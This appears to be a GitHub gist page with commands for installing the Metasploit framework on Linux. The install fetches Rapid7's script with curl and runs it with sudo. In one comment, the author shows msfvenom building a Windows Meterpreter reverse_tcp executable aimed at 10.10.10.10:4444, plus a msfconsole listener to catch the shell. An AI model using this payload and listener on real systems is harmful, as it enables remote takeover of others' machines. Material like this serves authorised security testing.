Skip to content

Instantly share code, notes, and snippets.

@Yuma-Tsushima07
Last active March 24, 2026 10:31
Show Gist options
  • Select an option

  • Save Yuma-Tsushima07/ae76646fb0153db52af1bf6b5809e7e7 to your computer and use it in GitHub Desktop.

Select an option

Save Yuma-Tsushima07/ae76646fb0153db52af1bf6b5809e7e7 to your computer and use it in GitHub Desktop.
How to Install Metasploit on Linux?
sudo apt update
sudo apt dist-upgrade
sudo apt autoremove
 
 
cd /tmp
 
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
 
chmod +x msfinstall
sudo ./msfinstall
 
msfdb init
 
msfconsole
 
sudo msfupdate
@xsr969

xsr969 commented Sep 12, 2022

Copy link
Copy Markdown

🤠🤝❤

@Mrxforcepower

Copy link
Copy Markdown

how can i use msfvenom in metasploit

@Yuma-Tsushima07

Copy link
Copy Markdown
Author

msfvenom is for payload creation you can use it WITH msf like as a listener:

Say if if I wanted to make a windows meterpreter staged shell the (x64) version, you can use this:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o rev.exe

Make a listener using msf:

$ msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.10.10; set lport 4444; exploit"

Finally invoke payload rev.exe then it would give you a shell on msfconsole :D

@s3b4st14nm

Copy link
Copy Markdown

works like a charm!, thanks a lot

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment